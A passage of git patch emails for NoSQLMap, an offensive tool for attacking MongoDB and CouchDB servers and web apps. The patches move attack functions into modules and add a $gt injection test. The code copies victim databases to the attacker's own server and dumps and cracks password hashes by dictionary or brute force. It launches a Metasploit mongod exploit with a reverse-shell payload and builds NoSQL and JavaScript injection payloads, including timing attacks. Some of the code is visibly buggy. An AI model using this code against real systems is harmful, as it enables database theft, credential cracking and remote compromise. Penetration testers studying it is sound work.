+#GNU General Public License for more details. + +#You should have received a copy of the GNU General Public License +#along with this program. If not, see . + echo "This setup script will install pip and use it to load the necessary Python dependencies for NoSQLMap on Red Hat and Debian based systems." echo "It is EXPERIMENTAL and messes with your system. Use at your own risk!!!" echo "As far as installing Metasploit, you're on your own." From 16287af3b069cf8fc8ed58640d99bf5a8d259dd7 Mon Sep 17 00:00:00 2001 From: tcstool Date: Tue, 2 Sep 2014 19:23:28 -0500 Subject: [PATCH 083/207] Migrate MongoDB functions to nsmmongo module --- nosqlmap.py | 416 +++------------------------------------------------- nsmcouch.py | 45 +++++- nsmmongo.py | 295 ++++++++++++++++++++++++++++++++++++- 3 files changed, 352 insertions(+), 404 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index e8bfb35..64ddfb4 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -16,6 +16,7 @@ import sys import nsmcouch +import nsmmongo import string import random import os @@ -23,10 +24,7 @@ import httplib2 import urllib import urllib2 -import pymongo -import subprocess import json -import gridfs import ipcalc import signal import ast @@ -57,15 +55,23 @@ def main(): global verb global scanNeedCreds global dbPort + #Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen ) platform = "MongoDB" dbPort = 27017 + myIP = "Not Set" + myPort = "Not Set" mainMenu() def mainMenu(): + global platform + global victim + global dbPort + global myIP + global myPort + mmSelect = True while mmSelect: os.system('clear') - #label = subprocess.check_output(["git","describe","--always"]) print "====================================================" print " _ _ _____ _____ _ ___ ___ " print "| \ | | / ___|| _ | | | \/ | " @@ -91,7 +97,11 @@ def mainMenu(): elif select == "2": if optionSet[0] == True: - netAttacks(victim) + if platform == "MongoDB": + nsmmongo.netAttacks(victim, dbPort, myIP, myPort) + + elif platform == "CouchDB": + nsmcouch.netAttacks(victim, dbPort, myIP, myPort) #Check minimum required options else: @@ -125,6 +135,7 @@ def mainMenu(): def platSel(): global platform + global dbPort pSel = True print "\n" while pSel: @@ -134,10 +145,12 @@ def platSel(): if pSel == "1": platform = "MongoDB" + dbPort = 27017 return elif pSel == "2": platform = "CouchDB" + dbPort = 5984 return else: psel = True @@ -190,7 +203,7 @@ def options(): print "2-Set web app port (Current: " + str(webPort) + ")" print "3-Set App Path (Current: " + str(uri) + ")" print "4-Toggle HTTPS (Current: " + str(https) + ")" - print "5-Set MongoDB Port (Current : " + str(dbPort) + ")" + print "5-Set " + platform + " Port (Current : " + str(dbPort) + ")" print "6-Set HTTP Request Method (GET/POST) (Current: " + httpMethod + ")" print "7-Set my local Mongo/Shell IP (Current: " + str(myIP) + ")" print "8-Set shell listener port (Current: " + str(myPort) + ")" @@ -416,196 +429,7 @@ def options(): elif select == "x": return - -def netAttacks(target): - print "DB Access attacks" - print "=================" - mgtOpen = False - webOpen = False - mgtSelect = True - #This is a global for future use with other modules; may change - global dbList - global dbPort - dbList = [] - - print "Checking to see if credentials are needed..." - needCreds = accessCheck(target,dbPort,False) - - if needCreds[0] == 0: - conn = pymongo.MongoClient(target,dbPort) - print "Successful access with no credentials!" - mgtOpen = True - - elif needCreds[0] == 1: - print "Login required!" - srvUser = raw_input("Enter server username: ") - srvPass = raw_input("Enter server password: ") - uri = "mongodb://" + srvUser + ":" + srvPass + "@" + target +"/" - - try: - conn = pymongo.MongoClient(target) - print "MongoDB authenticated on " + target + ":27017!" - mgtOpen = True - except: - raw_input("Failed to authenticate. Press enter to continue...") - return - - elif needCreds[0] == 2: - conn = pymongo.MongoClient(target,dbPort) - print "Access check failure. Testing will continue but will be unreliable." - mgtOpen = True - - elif needCreds[0] == 3: - print "Couldn't connect to Mongo server." - return - - - mgtUrl = "http://" + target + ":28017" - #Future rev: Add web management interface parsing - - try: - mgtRespCode = urllib.urlopen(mgtUrl).getcode() - if mgtRespCode == 200: - print "MongoDB web management open at " + mgtUrl + ". No authentication required!" - testRest = raw_input("Start tests for REST Interface (y/n)? ") - - if testRest in yes_tag: - restUrl = mgtUrl + "/listDatabases?text=1" - restResp = urllib.urlopen(restUrl).read() - restOn = restResp.find('REST is not enabled.') - - if restOn == -1: - print "REST interface enabled!" - dbs = json.loads(restResp) - menuItem = 1 - print "List of databases from REST API:" - - for x in range(0,len(dbs['databases'])): - dbTemp= dbs['databases'][x]['name'] - print str(menuItem) + "-" + dbTemp - menuItem += 1 - else: - print "REST interface not enabled." - print "\n" - - except: - print "MongoDB web management closed or requires authentication." - - if mgtOpen == True: - - while mgtSelect: - print "\n" - print "1-Get Server Version and Platform" - print "2-Enumerate Databases/Collections/Users" - print "3-Check for GridFS" - print "4-Clone a Database" - print "5-Launch Metasploit Exploit for Mongo < 2.2.4" - print "6-Return to Main Menu" - attack = raw_input("Select an attack: ") - - if attack == "1": - print "\n" - getPlatInfo(conn) - - if attack == "2": - print "\n" - enumDbs(conn) - - if attack == "3": - print "\n" - enumGrid(conn) - - if attack == "4": - if optionSet[4] == False: - print "Target database not set!" - else: - print "\n" - stealDBs(myIP,conn) - - if attack == "5": - print "\n" - msfLaunch() - - if attack == "6": - return - - - -def getPlatInfo (mongoConn): - print "Server Info:" - print "MongoDB Version: " + mongoConn.server_info()['version'] - print "Debugs enabled : " + str(mongoConn.server_info()['debug']) - print "Platform: " + str(mongoConn.server_info()['bits']) + " bit" - print "\n" - return -def enumDbs (mongoConn): - try: - print "List of databases:" - print "\n".join(mongoConn.database_names()) - print "\n" - - except: - print "Error: Couldn't list databases. The provided credentials may not have rights." - - print "List of collections:" - - try: - for dbItem in mongoConn.database_names(): - db = mongoConn[dbItem] - print dbItem + ":" - print "\n".join(db.collection_names()) - print "\n" - - if 'system.users' in db.collection_names(): - users = list(db.system.users.find()) - print "Database Users and Password Hashes:" - - for x in range (0,len(users)): - print "Username: " + users[x]['user'] - print "Hash: " + users[x]['pwd'] - print "\n" - crack = raw_input("Crack this hash (y/n)? ") - - if crack in yes_tag: - passCrack(users[x]['user'],users[x]['pwd']) - - except: - print "Error: Couldn't list collections. The provided credentials may not have rights." - - print "\n" - return - -def enumGrid (mongoConn): - try: - for dbItem in mongoConn.database_names(): - try: - db = mongoConn[dbItem] - fs = gridfs.GridFS(db) - files = fs.list() - print "GridFS enabled on database " + str(dbItem) - print " list of files:" - print "\n".join(files) - - except: - print "GridFS not enabled on " + str(dbItem) + "." - - except: - print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights." - - return - - -def msfLaunch(): - try: - proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True) - - except: - print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined." - raw_input("Press enter to continue...") - return - - def postApps(): print "Web App Attacks (POST)" print "===============" @@ -1469,116 +1293,6 @@ def buildUri(origUri, randValue): x += 1 return uriArray[0] - -def stealDBs(myDB,mongoConn): - dbList = mongoConn.database_names() - dbLoot = True - menuItem = 1 - if optionSet[4] == False: - raw_input("No destination database set! Press enter to return.") - return - - if len(dbList) == 0: - print "Can't get a list of databases to steal. The provided credentials may not have rights." - return - - for dbName in dbList: - print str(menuItem) + "-" + dbName - menuItem += 1 - - while dbLoot: - dbLoot = raw_input("Select a database to steal:") - - if int(dbLoot) > menuItem: - print "Invalid selection." - - else: - break - - try: - #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance. - dbNeedCreds = raw_input("Does this database require credentials (y/n)? ") - - if dbNeedCreds in no_tag: - myDBConn = pymongo.MongoClient(myDB,27017) - myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim) - - elif dbNeedCreds in yes_tag: - dbUser = raw_input("Enter database username: ") - dbPass = raw_input("Enter database password: ") - myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim,dbUser,dbPass) - - else: - raw_input("Invalid Selection. Press enter to continue.") - stealDBs(myDB) - - cloneAnother = raw_input("Database cloned. Copy another (y/n)? ") - - if cloneAnother in yes_tag: - stealDBs(myDB) - - else: - return - - except Exception, e: - if str(e).find('text search not enabled') != -1: - raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") - return - - else: - raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") - return - -def accessCheck(ip,port,pingIt): - - if pingIt == True: - test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null") - - if test == 0: - try: - conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000) - - try: - dbList = conn.database_names() - dbVer = conn.server_info()['version'] - conn.disconnect() - return [0,dbVer] - - except: - if str(sys.exc_info()).find('need to login') != -1: - conn.disconnect() - return [1,None] - - else: - conn.disconnect() - return [2,None] - - except: - return [3,None] - - else: - return [4,None] - else: - try: - conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000) - - try: - dbList = conn.database_names() - dbVer = conn.server_info()['version'] - conn.disconnect() - return [0,dbVer] - - except Exception, e: - if str(e).find('need to login') != -1: - conn.disconnect() - return [1,None] - - else: - conn.disconnect() - return [2,None] - - except: - return [3,None] def massScan(): @@ -1643,7 +1357,7 @@ def massScan(): for target in ipList: if platform == "MongoDB": - result = accessCheck(target.rstrip(),27017,ping) + result = nsmmongo.mongoScan(target.rstrip(),27017,ping) elif platform == "CouchDB": result = nsmcouch.couchScan(target.rstrip(),5984,ping) @@ -1720,97 +1434,7 @@ def massScan(): else: raw_input("Invalid selection.") -def passCrack (user, encPass): - select = True - print "Select password cracking method: " - print "1-Dictionary Attack" - print "2-Brute Force" - print "3-Exit" - - - while select: - select = raw_input("Selection: ") - if select == "1": - select = False - dict_pass(user,encPass) - - elif select == "2": - select = False - brute_pass(user,encPass) - - elif select == "3": - return - return - -def gen_pass(user, passw, hashVal): - if md5(user + ":mongo:" + str(passw)).hexdigest() == hashVal: - print "Found - " + user + ":" + passw - return True - else: - return False - -def dict_pass(user,key): - loadCheck = False - - while loadCheck == False: - dictionary = raw_input("Enter path to password dictionary: ") - try: - with open (dictionary) as f: - passList = f.readlines() - loadCheck = True - except: - print " Couldn't load file." - - print "Running dictionary attack..." - for passGuess in passList: - temp = passGuess.split("\n")[0] - gotIt = gen_pass (user, temp, key) - - if gotIt == True: - break - return - -def genBrute(chars, maxLen): - return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1))) - -def brute_pass(user,key): - charSel = True - print "\n" - maxLen = raw_input("Enter the maximum password length to attempt: ") - print "1-Lower case letters" - print "2-Upper case letters" - print "3-Upper + lower case letters" - print "4-Numbers only" - print "5-Alphanumeric (upper and lower case)" - print "6-Alphanumeric + special characters" - charSel = raw_input("\nSelect character set to use:") - - if charSel == "1": - chainSet = string.ascii_lowercase - elif charSel == "2": - chainSet= string.ascii_uppercase - - elif charSel == "3": - chainSet = string.ascii_letters - - elif charSel == "4": - chainSet = string.digits - - elif charSel == "5": - chainSet = string.ascii_letters + string.digits - - elif charSel == "6": - chainSet = string.ascii_letters + string.digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/" - count = 0 - print "\n", - for attempt in genBrute (chainSet,int(maxLen)): - print "\rCombinations tested: " + str(count) + "\r" - count += 1 - if md5(user + ":mongo:" + str(attempt)).hexdigest() == key: - print "\nFound - " + user + ":" + attempt - break - return def getDBInfo(): curLen = 0 diff --git a/nsmcouch.py b/nsmcouch.py index 064b0cf..23a1a8f 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -17,7 +17,7 @@ import couchdb import urllib - +global dbList def couchScan(target,port,pingIt): if pingIt == True: @@ -152,4 +152,45 @@ def getPlatInfo(couchConn): print "Configuration File:\n" print str(urllib.urlopen("http://" + target + ":5984/_config")) print "\n" - return \ No newline at end of file + return + +def enumDbs (couchConn): + global dbList + dbList = [] + try: + for db in couchConn: + dbList.append(db) + + print "List of databases:" + print "\n".join(mongoConn.database_names()) + print "\n" + + except: + print "Error: Couldn't list databases. The provided credentials may not have rights." + + try: + for dbItem in mongoConn.database_names(): + db = mongoConn[dbItem] + print dbItem + ":" + print "\n".join(db.collection_names()) + print "\n" + + if 'system.users' in db.collection_names(): + users = list(db.system.users.find()) + print "Database Users and Password Hashes:" + + for x in range (0,len(users)): + print "Username: " + users[x]['user'] + print "Hash: " + users[x]['pwd'] + print "\n" + crack = raw_input("Crack this hash (y/n)? ") + + if crack in yes_tag: + passCrack(users[x]['user'],users[x]['pwd']) + + except: + print "Error: Couldn't list collections. The provided credentials may not have rights." + + print "\n" + return + diff --git a/nsmmongo.py b/nsmmongo.py index f012ad0..e1ae81b 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -14,8 +14,19 @@ #along with this program. If not, see . import pymongo import urllib +import json +import gridfs +import itertools +import string +import subprocess +from hashlib import md5 -def netAttacks(target, port): +global yes_tag +global no_tag +yes_tag = ['y', 'Y'] +no_tag = ['n', 'N'] + +def netAttacks(target, dbPort, myIP, myPort): print "DB Access attacks (MongoDB)" print "=================" mgtOpen = False @@ -23,11 +34,10 @@ def netAttacks(target, port): mgtSelect = True #This is a global for future use with other modules; may change global dbList - global dbPort dbList = [] print "Checking to see if credentials are needed..." - needCreds = accessCheck(target,dbPort,False) + needCreds = mongoScan(target,dbPort,False) if needCreds[0] == 0: conn = pymongo.MongoClient(target,dbPort) @@ -86,7 +96,7 @@ def netAttacks(target, port): print "REST interface not enabled." print "\n" - except: + except Exception, e: print "MongoDB web management closed or requires authentication." if mgtOpen == True: @@ -114,11 +124,11 @@ def netAttacks(target, port): enumGrid(conn) if attack == "4": - if optionSet[4] == False: + if myIP == "Not Set": print "Target database not set!" else: print "\n" - stealDBs(myIP,conn) + stealDBs(myIP,target,conn) if attack == "5": print "\n" @@ -126,3 +136,276 @@ def netAttacks(target, port): if attack == "6": return + +def stealDBs(myDB,victim,mongoConn): + dbList = mongoConn.database_names() + dbLoot = True + menuItem = 1 + + if len(dbList) == 0: + print "Can't get a list of databases to steal. The provided credentials may not have rights." + return + + for dbName in dbList: + print str(menuItem) + "-" + dbName + menuItem += 1 + + while dbLoot: + dbLoot = raw_input("Select a database to steal:") + + if int(dbLoot) > menuItem: + print "Invalid selection." + + else: + break + + try: + #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance. + dbNeedCreds = raw_input("Does this database require credentials (y/n)? ") + + if dbNeedCreds in no_tag: + myDBConn = pymongo.MongoClient(myDB,27017) + myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim) + + elif dbNeedCreds in yes_tag: + dbUser = raw_input("Enter database username: ") + dbPass = raw_input("Enter database password: ") + myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim,dbUser,dbPass) + + else: + raw_input("Invalid Selection. Press enter to continue.") + stealDBs(myDB) + + cloneAnother = raw_input("Database cloned. Copy another (y/n)? ") + + if cloneAnother in yes_tag: + stealDBs(myDB) + + else: + return + + except Exception, e: + if str(e).find('text search not enabled') != -1: + raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") + return + + else: + raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") + return + +def passCrack (user, encPass): + select = True + print "Select password cracking method: " + print "1-Dictionary Attack" + print "2-Brute Force" + print "3-Exit" + + + while select: + select = raw_input("Selection: ") + if select == "1": + select = False + dict_pass(user,encPass) + + elif select == "2": + select = False + brute_pass(user,encPass) + + elif select == "3": + return + return + +def gen_pass(user, passw, hashVal): + if md5(user + ":mongo:" + str(passw)).hexdigest() == hashVal: + print "Found - " + user + ":" + passw + return True + else: + return False + +def dict_pass(user,key): + loadCheck = False + + while loadCheck == False: + dictionary = raw_input("Enter path to password dictionary: ") + try: + with open (dictionary) as f: + passList = f.readlines() + loadCheck = True + except: + print " Couldn't load file." + + print "Running dictionary attack..." + for passGuess in passList: + temp = passGuess.split("\n")[0] + gotIt = gen_pass (user, temp, key) + + if gotIt == True: + break + return + +def genBrute(chars, maxLen): + return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1))) + +def brute_pass(user,key): + charSel = True + print "\n" + maxLen = raw_input("Enter the maximum password length to attempt: ") + print "1-Lower case letters" + print "2-Upper case letters" + print "3-Upper + lower case letters" + print "4-Numbers only" + print "5-Alphanumeric (upper and lower case)" + print "6-Alphanumeric + special characters" + charSel = raw_input("\nSelect character set to use:") + + if charSel == "1": + chainSet = string.ascii_lowercase + + elif charSel == "2": + chainSet= string.ascii_uppercase + + elif charSel == "3": + chainSet = string.ascii_letters + + elif charSel == "4": + chainSet = string.digits + + elif charSel == "5": + chainSet = string.ascii_letters + string.digits + + elif charSel == "6": + chainSet = string.ascii_letters + string.digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/" + count = 0 + print "\n", + for attempt in genBrute (chainSet,int(maxLen)): + print "\rCombinations tested: " + str(count) + "\r" + count += 1 + if md5(user + ":mongo:" + str(attempt)).hexdigest() == key: + print "\nFound - " + user + ":" + attempt + break + return + +def getPlatInfo (mongoConn): + print "Server Info:" + print "MongoDB Version: " + mongoConn.server_info()['version'] + print "Debugs enabled : " + str(mongoConn.server_info()['debug']) + print "Platform: " + str(mongoConn.server_info()['bits']) + " bit" + print "\n" + return + +def enumDbs (mongoConn): + try: + print "List of databases:" + print "\n".join(mongoConn.database_names()) + print "\n" + + except: + print "Error: Couldn't list databases. The provided credentials may not have rights." + + print "List of collections:" + + try: + for dbItem in mongoConn.database_names(): + db = mongoConn[dbItem] + print dbItem + ":" + print "\n".join(db.collection_names()) + print "\n" + + if 'system.users' in db.collection_names(): + users = list(db.system.users.find()) + print "Database Users and Password Hashes:" + + for x in range (0,len(users)): + print "Username: " + users[x]['user'] + print "Hash: " + users[x]['pwd'] + print "\n" + crack = raw_input("Crack this hash (y/n)? ") + + if crack in yes_tag: + passCrack(users[x]['user'],users[x]['pwd']) + + except Exception, e: + print e + print "Error: Couldn't list collections. The provided credentials may not have rights." + + print "\n" + return + +def msfLaunch(): + try: + proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True) + + except: + print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined." + raw_input("Press enter to continue...") + return + +def enumGrid (mongoConn): + try: + for dbItem in mongoConn.database_names(): + try: + db = mongoConn[dbItem] + fs = gridfs.GridFS(db) + files = fs.list() + print "GridFS enabled on database " + str(dbItem) + print " list of files:" + print "\n".join(files) + + except: + print "GridFS not enabled on " + str(dbItem) + "." + + except: + print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights." + + return + +def mongoScan(ip,port,pingIt): + + if pingIt == True: + test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null") + + if test == 0: + try: + conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000) + + try: + dbList = conn.database_names() + dbVer = conn.server_info()['version'] + conn.disconnect() + return [0,dbVer] + + except: + if str(sys.exc_info()).find('need to login') != -1: + conn.disconnect() + return [1,None] + + else: + conn.disconnect() + return [2,None] + + except: + return [3,None] + + else: + return [4,None] + else: + try: + conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000) + + try: + dbList = conn.database_names() + dbVer = conn.server_info()['version'] + conn.disconnect() + return [0,dbVer] + + except Exception, e: + if str(e).find('need to login') != -1: + conn.disconnect() + return [1,None] + + else: + conn.disconnect() + return [2,None] + + except: + return [3,None] \ No newline at end of file From 2e00178199e1087e057189fe98b5eb7c7ba76a15 Mon Sep 17 00:00:00 2001 From: tcstool Date: Wed, 3 Sep 2014 19:44:25 -0500 Subject: [PATCH 084/207] Fixed DB names for Couch --- nosqlmap.py | 7 ++++--- nsmcouch.py | 39 ++++++++++++++------------------------- 2 files changed, 18 insertions(+), 28 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 64ddfb4..59ab7e5 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -101,7 +101,7 @@ def mainMenu(): nsmmongo.netAttacks(victim, dbPort, myIP, myPort) elif platform == "CouchDB": - nsmcouch.netAttacks(victim, dbPort, myIP, myPort) + nsmcouch.netAttacks(victim, dbPort, myIP) #Check minimum required options else: @@ -136,9 +136,9 @@ def mainMenu(): def platSel(): global platform global dbPort - pSel = True + select = True print "\n" - while pSel: + while select: print "1-MongoDB" print "2-CouchDB" pSel = raw_input("Select a platform: ") @@ -161,6 +161,7 @@ def options(): global webPort global uri global https + global platform global httpMethod global postData global myIP diff --git a/nsmcouch.py b/nsmcouch.py index 23a1a8f..8e78ea4 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -61,7 +61,7 @@ def couchScan(target,port,pingIt): return [3,None] -def netAttacks(target,port): +def netAttacks(target,port, myIP): print "DB Access attacks (CouchDB)" print "======================" mgtOpen = False @@ -125,7 +125,7 @@ def netAttacks(target,port): if attack == "1": print "\n" - getPlatInfo(conn) + getPlatInfo(conn,target) if attack == "2": print "\n" @@ -143,16 +143,16 @@ def netAttacks(target,port): print "\n" stealDBs(myIP,conn) - if attack == "6": + if attack == "5": return -def getPlatInfo(couchConn): - print "Server Info:" - print "CouchDB Version: " + couchConn.version() - print "Configuration File:\n" - print str(urllib.urlopen("http://" + target + ":5984/_config")) - print "\n" - return +def getPlatInfo(couchConn, target): + print "Server Info:" + print "CouchDB Version: " + couchConn.version() + print "Configuration File:\n" + print urllib.urlopen("http://" + target + ":5984/_config").read() + print "\n" + return def enumDbs (couchConn): global dbList @@ -162,20 +162,14 @@ def enumDbs (couchConn): dbList.append(db) print "List of databases:" - print "\n".join(mongoConn.database_names()) + print "\n".join(dbList) print "\n" + return #debug except: print "Error: Couldn't list databases. The provided credentials may not have rights." - try: - for dbItem in mongoConn.database_names(): - db = mongoConn[dbItem] - print dbItem + ":" - print "\n".join(db.collection_names()) - print "\n" - - if 'system.users' in db.collection_names(): + if '_users' in dbList(): users = list(db.system.users.find()) print "Database Users and Password Hashes:" @@ -187,10 +181,5 @@ def enumDbs (couchConn): if crack in yes_tag: passCrack(users[x]['user'],users[x]['pwd']) - - except: - print "Error: Couldn't list collections. The provided credentials may not have rights." - - print "\n" - return + return From 9d28489082ddf89feb5f313b6f055a3d8a4a3c4c Mon Sep 17 00:00:00 2001 From: tcstool Date: Thu, 4 Sep 2014 19:57:04 -0500 Subject: [PATCH 085/207] Added $gt injection to web attacks --- nosqlmap.py | 73 ++++++++++++++++++++++++++++++++++++++++++++--------- nsmcouch.py | 4 +-- 2 files changed, 63 insertions(+), 14 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 59ab7e5..3550997 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -449,6 +449,7 @@ def postApps(): trueInt = False global postData global neDict + global gtDict testNum = 1 #Verify app is working. @@ -553,6 +554,27 @@ def postApps(): #Delete the extra key del postData[injOpt + "[$ne]"] + + #generate $gt injection + gtDict = postData + gtDict.update({injOpt:""}) + gtDict[injOpt + "[$gt]"] = gtDict[injOpt] + del gtDict[injOpt] + body = urllib.urlencode(gtDict) + req = urllib2.Request(appURL,body) + if verb == "ON": + print "Testing PHP/ExpressJS >Undefined Injection using " + str(postData) + "..." + + else: + print "Test 2: PHP/ExpressJS > Undefined Injection" + + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + postData.update({injOpt:"a'; return db.a.find(); var dummy='!"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) @@ -561,7 +583,7 @@ def postApps(): print "Injecting " + str(postData) else: - print "Test 2: $where injection (string escape)" + print "Test 3: $where injection (string escape)" errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) @@ -581,7 +603,7 @@ def postApps(): print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" print "Injecting " + str(postData) else: - print "Test 3: $where injection (integer escape)" + print "Test 4: $where injection (integer escape)" errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) @@ -602,7 +624,7 @@ def postApps(): print " Injecting " + str(postData) else: - print "Test 4: $where injection string escape (single record)" + print "Test 5: $where injection string escape (single record)" errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) @@ -623,7 +645,7 @@ def postApps(): print " Injecting " + str(postData) else: - print "Test 5: $where injection integer escape (single record)" + print "Test 6: $where injection integer escape (single record)" errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) @@ -645,7 +667,7 @@ def postApps(): print " Injecting " + str(postData) else: - print "Test 6: This != injection (string escape)" + print "Test 7: This != injection (string escape)" errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) @@ -665,7 +687,7 @@ def postApps(): print "Testing Mongo this not equals integer escape attack for all records..." print " Injecting " + str(postData) else: - print "Test 7: This != injection (integer escape)" + print "Test 8: This != injection (integer escape)" errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) @@ -969,12 +991,26 @@ def getApps(): testNum += 1 print "\n" + if verb == "ON": + print "Testing PHP/ExpressJS > undefined attack for all records..." + print "Injecting " + uriArray[8] + + else: + print "Test 8: PHP/ExpressJS > Undefined Injection" + + errorCheck = errorTest(str(urllib.urlopen(uriArray[8]).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib.urlopen(uriArray[8]).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + doTimeAttack = raw_input("Start timing based tests (y/n)? ") if doTimeAttack in yes_tag: print "Starting Javascript string escape time based injection..." start = time.time() - strTimeInj = urllib.urlopen(uriArray[8]) + strTimeInj = urllib.urlopen(uriArray[18]) page = strTimeInj.read() end = time.time() strTimeInj.close() @@ -1066,6 +1102,7 @@ def errorTest (errorCheck,testNum): global possAddrs global httpMethod global neDict + global gtDict global postData if errorCheck.find('ReferenceError') != -1 or errorCheck.find('SyntaxError') != -1 or errorCheck.find('ILLEGAL') != -1: @@ -1079,6 +1116,11 @@ def errorTest (errorCheck,testNum): if testNum == 1: possAddrs.append(str(neDict)) return True + + elif testNum == 2: + possAddrs.apped(str(gtDict)) + return True + else: possAddrs.appends(str(postData)) return True @@ -1095,6 +1137,7 @@ def checkResult(baseSize,respSize,testNum): global int24 global httpMethod global neDict + global gtDict global postData delta = abs(respSize - baseSize) @@ -1109,14 +1152,17 @@ def checkResult(baseSize,respSize,testNum): else: if testNum == 1: vulnAddrs.append(str(neDict)) + + elif testNum == 2: + vulnAddrs.apped(str(gtDict)) else: vulnAddrs.append(str(postData)) - if testNum == 2 or testNum == 4: + if testNum == 3 or testNum == 5: lt24 = True str24 = True - elif testNum == 3 or testNum == 5: + elif testNum == 4 or testNum == 6: lt24 = True int24 = True return @@ -1192,7 +1238,7 @@ def buildUri(origUri, randValue): paramName = [] paramValue = [] global uriArray - uriArray = ["","","","","","","","","","","","","","","","","",""] + uriArray = ["","","","","","","","","","","","","","","","","","",""] injOpt = "" #Split the string between the path and parameters, and then split each parameter @@ -1243,6 +1289,7 @@ def buildUri(origUri, randValue): uriArray[15] = split_uri[0] + "?" uriArray[16] = split_uri[0] + "?" uriArray[17] = split_uri[0] + "?" + uriArray[18] = split_uri[0] + "?" for item in paramName: if paramName[x] == injOpt: @@ -1254,7 +1301,7 @@ def buildUri(origUri, randValue): uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&" uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&" uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&" - uriArray[8] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" + uriArray[8] += paramName[x] + "[$gt]=&" uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy='!" + "&" uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy='!" + "&" @@ -1265,6 +1312,7 @@ def buildUri(origUri, randValue): #Add values that can be manipulated for database attacks uriArray[16] += paramName[x] + "=a\'; ---" uriArray[17] += paramName[x] + "=1; if ---" + uriArray[18] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" else: uriArray[0] += paramName[x] + "=" + paramValue[x] + "&" @@ -1285,6 +1333,7 @@ def buildUri(origUri, randValue): uriArray[15] += paramName[x] + "=" + paramValue[x] + "&" uriArray[16] += paramName[x] + "=" + paramValue[x] + "&" uriArray[17] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[18] += paramName[x] + "=" + paramValue[x] + "&" x += 1 #Clip the extra & off the end of the URL @@ -1642,7 +1691,7 @@ def getDBInfo(): menuItem +=1 userIndex = raw_input("Select user hash to crack: ") - passCrack(users[int(userIndex)-1],hashes[int(userIndex)-1]) + nsmmongo.passCrack(users[int(userIndex)-1],hashes[int(userIndex)-1]) crackHash = raw_input("Crack another hash (y/n)?") raw_input("Press enter to continue...") diff --git a/nsmcouch.py b/nsmcouch.py index 8e78ea4..c30fd4b 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -85,7 +85,7 @@ def netAttacks(target,port, myIP): uri = "http://" + srvUser + ":" + srvPass + "@" + target + ":5984/" try: - conn = couchdb.server(uri) + conn = 